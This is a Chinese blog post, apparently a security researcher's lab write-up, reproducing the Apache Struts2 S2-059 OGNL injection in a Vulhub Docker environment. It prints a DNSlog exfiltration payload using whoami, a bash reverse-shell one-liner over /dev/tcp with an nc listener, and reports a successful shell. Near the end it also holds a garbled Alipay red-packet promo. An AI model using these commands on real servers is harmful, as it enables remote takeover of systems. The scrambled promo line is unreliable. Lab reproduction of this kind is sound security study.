str2-059漏洞复现

admin 2020年12月11日10:23:11评论119 views字数 1021阅读3分24秒阅读模式

str2介绍

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。

st2-059介绍

2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。

漏洞复现

vulunmb拉环境

旧版本可能没有st2-059环境 例如我

str2-059漏洞复现

git clone https://github.com/vulhub/vulhub.git

更新一下

然后切换 进行启docker

vulhub/struts2/s2-059

docker-compose up -d

启动完 大概就长这个样子

str2-059漏洞复现

exp来自这个地方

https://vulhub.org/#/environments/struts2/s2-059/

官网给的exp是没有回显的

str2-059漏洞复现


可以进行修改 修改为ping dnslog.cn 这个可以直接执行

坑点 由于是java的需要进行编码 将其名带外输出

`whoami`.p8dn2s.dnslog.cn

str2-059漏洞复现

str2-059漏洞复现

exp打一下 python exp.py

str2-059漏洞复现

下一步就是反弹端口了

bash -i >& /dev/tcp/ip/端口 0>&1

然后加层编码

str2-059漏洞复现

nc监听 nc -lvvp 1234

str2-059漏洞复现

替换exp 一下

str2-059漏洞复现

str2-059漏洞复现


反弹成功 关于sr2-061传闻是059的绕过 等我研究好了 然后复现 

师傅们要是想支持一下 公众号 

支付宝扫一下这个图片 或者复制 下面的话到支付宝就行 

13激活医保码得红包 就医购药免带卡 http:/1ObsJRU39lp【长按.fu.治此条消息,DA锎支ィ寸bao首页搜索粘贴】


str2-059漏洞复现


本文始发于微信公众号(阿乐你好):str2-059漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月11日10:23:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   str2-059漏洞复现https://cn-sec.com/archives/200327.html

发表评论

匿名网友 填写信息